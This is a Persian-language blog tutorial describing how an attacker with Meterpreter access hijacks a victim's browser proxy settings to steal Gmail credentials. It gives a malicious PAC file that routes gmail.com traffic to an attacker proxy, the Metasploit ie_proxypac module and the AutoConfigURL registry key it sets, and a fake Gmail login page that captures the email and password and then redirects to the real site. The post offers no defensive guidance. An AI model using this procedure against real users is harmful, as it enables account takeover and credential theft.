استفاده از فایل های PAC برای شنود اطلاعات

حمله مرد میانی
تاریخ انتشار : 1399/04/09 | نویسنده : _SHRoot_

استفاده از فایل های PAC برای شنود اطلاعات

در این مطلب می خواهیم روشی را ارائه دهیم که مهاجم قادر است به کمک آن، اطلاعات حساب Gmail قربانی، یعنی آدرس ایمیل و password قربانی را به دست آورد. برای این کار، تنها کاری که مهاجم باید انجام بدهد، این هست که تنظیمات proxy سیستم قربانی را دست کاری کند. در ادامه ی این مطلب جزئیات و نحوه پیاده سازی این حمله آورده شده است.

 

آشنایی با مفهوم PAC:

برای پیاده سازی این حمله مهاجم از فایل مخربی با format: *.pac استفاده می کند. PAC مخفف عبارت Proxy Auto-Config هست و فایلی هست که توسط اکثر browser های مدرن support می شود. از این فایل ها درواقع برای زمانی استفاده می شود که قصد داریم browser ها و سایر User-Agent های یک سیستم به صورت اتوماتیک بتوانند از Proxy server استفاده کنند و یک آدرس URL را فراخوانی نمایند. مثلا برای این که بتوانیم از این ویژگی در Internet Explorer استفاده بکنیم، کافی است مسیر زیر را در IE دنبال بکنیم:

"Settings --> Internet Options --> Tab: Connections --> LAN Settings --> check "Use Automatic Configuration Script

 

همان طور که در تصویر مشاهده کردید، آدرس فایل pac.* مورد نظر، به عنوان مقدار پارامتر “Address” باید قرار بگیرد. برای آدرس فایل pac.* ، هم می توان یک آدرس URL در نظر گرفت که فایل را از آدرس گفته شده فراخوانی بکند و هم می توان یک فایل موجود بر روی disk را با syntax زیر بهش معرفی کرد:

<file://<Example local path: C:\Users\Test\file.pac

در هر دو حالت، تنظیمات قرار گرفته در فایل pac.* بر روی سیستم اعمال می شود و بر اساس دستوراتی که در فایل مذکور قرار گرفته است، از این به بعد در فراخوانی آدرس های مختلف، درخواست سیستم برای proxy server ای که در فایل pac.* معرفی شده است، ارسال می شود.

اما محتوای یک فایل pac.* چه چیزی هست؟ در فایل های pac.* یک تابع Javascript تحت عنوان (FindProxyForURL(url,host وجود دارد که بر اساس مقادیر پارامترهای این تابع، در رابطه با آدرسی که سیستم کاربر درخواست کرده است، تصمیم گیری می شود که آیا درخواست ارسالی می بایست مستقیماً برای مقصد فرستاده بشود، یا این که می بایست برای Proxy Server معرفی شده در فایل، ارسال گردد. پارامتر های تابع مذکور، همان طور که از اسمشان بر می آید، یکی آدرس URL فراخوانی شده است و دیگری Host که با در اختیار داشتن آدرس URL به دست می آید (مثلا برای آدرس URL: http://test.com/path1 مقدار host عبارت test.com می باشد.)

برای استفاده از فایل های pac.* توابع مشخصی وجود دارد که به عنوان نمونه می توان به توابع “dnsDomainIs”، “shExpMatch” و ... اشاره کرد. لیست کاملی از تمامی توابعی که می توان در فایل هایpac.* از آنها استفاده کرد، در آدرس زیر وجود دارد:

http://findproxyforurl.com/pac-functions

به عنوان نمونه ای از یک فایل pac.* که به کمک آن می توان در زمان ارسال درخواست برای هر آدرسی، از proxy server ای با آدرس “proxy.example.com” استفاده کرد، دستورات زیر می بایست در فایل proxy.pac قرار بگیرند:  

(function FindProxyForURL(url, host

{

  return "PROXY proxy.example.com:80; DIRECT";

}

 

هم چنین به عنوان یک نمونه ی کمی پیچیده تر می توان دستورات زیر را در نظر گرفت که در آن، تنها درخواست هایی که برای دامنه test.com ارسال می شوند، از proxy server: proxy.example.com استفاده می کنند و هر درخواستی برای هر دامنه دیگری وجود داشته باشد، بدون این که از proxy server استفاده کنند، به دست مقصد می رسند:

function FindProxyForURL(url, host)

{

      if (shExpMatch(host, "*.test.com"))

                       {

                       return "PROXY proxy.example.com; DIRECT";

                       }

return "DIRECT";

}

 حالا که با مفهوم فایل های pac.* و نحوه تعریف توابع در آنها آشنا شدیم به این نکته می پردازیم که چگونه می توانیم از این فایل ها در یک حمله استفاده بکنیم و مثلا اطلاعات حساب Gmail یک قربانی را به دست بیاوریم.

 

سناریوی مورد نظر:

در سناریویی که برای به دست آوردن اطلاعات Gmail قربانی مد نظر هست، ابتدا باید مهاجم بر روی سیستم قربانی، یک دسترسی remote مثل Meterpreter داشته باشد. چون همان طور که در ابتدای این مطلب هم اشاره کردیم، در این حمله، مهاجم باید تنظیمات مربوط به proxy سیستم قربانی را تغییر بدهد. حالا این امکان می تواند به روش های مختلفی برای مهاجم فراهم بشود، مثلا می توان از Harpy برای این کار استفاده کرد، اما در این مطلب به سناریویی پرداخته می شود که در آن مهاجم از قبل بر روی سیستم قربانی، Meterpreter به دست آورده است.

بنابراین حمله ی مورد بحث به شرح زیر می باشد:

1- ابتدا مهاجم یک فایل مخرب pac.* طراحی می نماید.

2- سپس از دسترسی که بر روی سیستم قربانی داشته، استفاده می کند و فایل مخربی که در مرحله اول طراحی کرده بود را به عنوان فایل تنظیمات مربوط به Proxy Server سیستم قربانی معرفی می کند.

3- در این مرحله هم مهاجم منتظر می ماند تا قربانی در صفحه fake login که توسط مهاجم برای Gmail طراحی شده است، اطلاعات حساب کاربری خود را وارد کند.

اما حالا با جزئیات بیشتر توضیح می دهیم که مراحل نام برده چجوری پیاده سازی می شوند.

مراحل اجرای حمله:

  • مرحله اول:  طراحی فایل مخرب pac.*

 

در این مرحله مهاجم فایل مخرب proxy.pac را مطابق با دستورات زیر طراحی می کند:

function FindProxyForURL(url, host)

{

if (shExpMatch(host, "*.gmail.com")) {

          return "PROXY <attacker’s Proxy server>; DIRECT";}

if (url.substring(0, 6) == "https:"){  return "DIRECT";}

}

 

کاری که این فایل انجام می دهد این هست که اگر درخواستی برای دامنه gmail.com در سیستم قربانی فرستاده بشه، به proxy server ای که در واقع سیستم مهاجم هست فرستاده می شود و هر درخواستی برای پروتکل HTTPS وجود داشت، مستقیماً برای مقصد ارسال شود.

بعد از این که مهاجم فایل proxy.pac را طراحی کرد، کافی است آن را بر روی یک web server آپلود کند تا بتواند در مرحله بعد از آن استفاده کند.

 

  • مرحله دوم: تغییر تنظیمات Proxy سیستم قربانی

 

مهاجم با فرض این که بر روی سیستم قربانی meterpreter دارد، از post module زیر می تواند استفاده کند:

post/windows/manage/ie_proxypac

ماژول معرفی شده، در واقع برای تغییر تنظیمات proxy سیستم قربانیان مورد استفاده قرار می گیرد. برای استفاده از این post module دو پارامتر باید مقداردهی بشوند، یکی شماره session ای هست که متعلق به دسترسی Meterpreter روی سیستم قربانی هست و دیگری پارامتر remote_pac که باید با آدرس فایل proxy.pac مقداردهی شود.

 

بعد از اجرای post module معرفی شده، آدرس فایل proxy.pac در تنظیمات مربوط به IE قرار می گیرد:

 کاری که در اصل این post module انجام می دهد، این هست که روی سیستم قربانی، یک registry با نام “AutoConfigURL” در مسیر زیر تشکیل می دهد که با آدرس فایل proxy.pac مقداردهی شده:

HKCU/Software/Microsoft/Windows/CurrentVersion/Internet Settings

 

  • مرحله سوم:  صفحه Fake Login

 

تا این جای کار، با تمام تغییراتی که روی سیستم قربانی به وجود آمده است، از این به بعد هر وقت قربانی browser سیستمش را باز کند و آدرسی مثل http://www.gmail.com را در آن فراخوانی بکند، در اصل صفحه ی index.htmlای که بر روی proxy server تعریف شده در سیستم قربانی هست، نمایش داده می شود. مثلا اگر مهاجم صفحه پیش فرض index.html که بعد از راه اندازی Apache وجود دارد را تغییر نداده باشد، بعد از این که قربانی آدرس gmail را در browser خود وارد بکند، با صفحه ی زیر مواجه می شود:

بنابراین، کافی است مهاجم یک صفحه fake login برای Gmail طراحی بکند و آن را با نام index.html در web server ای که proxy.pac را بر روی آن upload کرده، قرار دهد. بدین ترتیب به جای نمایش صفحه پیش فرض Apache، این بار قربانی با فراخواندن آدرس http://www.gmail.com، صفحه fake login طراحی شده توسط مهاجم را می بیند و با توجه به این که آدرس URL نمایش داده شده در صفحه هم http://www.gmail.com هست، هیچ شکی نخواهد کرد و با احتمال بالایی، اطلاعات ورود حساب Gmail خود را در صفحه وارد می کند.

 

نمونه ای از یک فایل fake login برای Gmail در تصویر زیر مشاهده می شود:

اما یک مرحله دیگر نیز باید انجام شود تا وقتی قربانی اطلاعات حساب Gmail خود را در صفحه وارد کرد، درواقع آن اطلاعات اول برای مهاجم فرستاده شود و سپس قربانی به صفحه اصلی Gmail، redirect شود تا حمله به صورت حرفه ای اجرا بشود. برای این کار، باید در source code مربوط به fake login طراحی شده، آدرس action موجود در <form> را به صورت زیر تغییر بدهیم:

بدین ترتیب، پارامترهای متناظر با Email و password بعد از submit کردن form، برای آدرس auth_gmail.html ارسال می شود. فایل auth_gmail.html یک فایل ساخته شده توسط مهاجم هست و به گونه ای طراحی شده باشد تا بعد از این که قربانی اطلاعات ورود به حساب Gmail خود را در fake page وارد کرد، به صفحه اصلی Gmail، redirect بشود.

 

  • مرحله چهارم: به دست آوردن اطلاعات وارد شده توسط قربانی

 

 در این مرحله، قربانی در صفحه fake login اطلاعات حساب کاربری Gmail خود را وارد کرده و آن را submit می کند. اکنون مهاجم می تواند آدرس ایمیل و password که قربانی وارد کرده است را به دست آورد: